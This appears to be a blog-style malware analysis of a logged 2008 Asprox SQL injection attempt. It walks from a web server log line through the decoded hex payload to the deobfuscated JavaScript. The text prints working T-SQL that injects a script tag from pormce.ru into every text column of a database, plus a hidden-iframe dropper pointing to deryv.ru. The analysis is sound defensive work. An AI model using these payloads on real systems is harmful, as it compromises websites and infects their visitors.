The latest attempt comes from 201-92-227-227.dsl.telesp.net.br (IP: 201.92.227.227), and is in the same form as previously;
2008-09-30 20:08:16 GET /pest.asp show=8.15.231.;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E706F726D63652E72752F7363726970742E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 201.92.227.227 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - 200 0 0
The part we're interested in, as before, is the Hex between CAST( and %20AS%20VARCHAR (%20 is the space character, so this translates to AS VARCHAR). This code translates this time to;
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.pormce.ru/script.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This shows us they've got another URL, pormce.ru. If we run this through vURL we see;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('s.r="";n=q.o.p();d((n!="4-t")&&(n!="4-u")&&(n!="z")&&(n!="y")&&(n!="x")&&(n!="v")&&(n!="m")&&(n!="A-f")&&(n!="g")&&(n!="4")&&(n!="h")&&(n!="i")&&(n!="l")){5 $a=2.8;5 $b=$a.j("7=");d($b!=-1){}k{5 $c=w V();$c.B($c.U()+3*Q*R);2.8="7=S;T="+$c.P();O{2.G("<9 F=E://C.D/6-H/I.6?N M=0 L=0 J=0></9>")}K(e){}}}',58,58,'||document||ZH|var|cgi|cvbest|cookie|iframe||||if||PH|UR|HI|TH|indexOf|else|VI|ID||userLanguage|toUpperCase|navigator|status|window|CN|MO|PA|new|NE|GU|BN|EN|setTime|deryv|ru|http|src|write|bin|index|frameborder|catch|height|width|script|try|toGMTString|3600|1000|update|expires|getTime|Date'.split('|'),0,{}))
Which is the usual obfuscation rubbish we're used to, and it's very easily decoded using Malzilla;
window.status="";n=navigator.userLanguage.toUpperCase();if((n!="ZH-CN")&&(n!=&undefined;ZH-MO")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!=&undefined;UR")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){var $a=document.cookie;var $b=$a.indexOf("cvbest=");if($b!=-1){}else{var $c=new Date();$c.setTime($c.getTime()+3*3600*1000);document.cookie="cvbest=update;expires="+$c.toGMTString();try{document.write("<iframe src=http://deryv.ru/cgi-bin/index.cgi?script width=0 height=0 frameborder=0></iframe>")}catch(e){}}}
This shows us another URL, this time pointing to deryv.ru. This script contains two more scripts that I've not decoded yet, but they're very similar to the previous Asprox injections.
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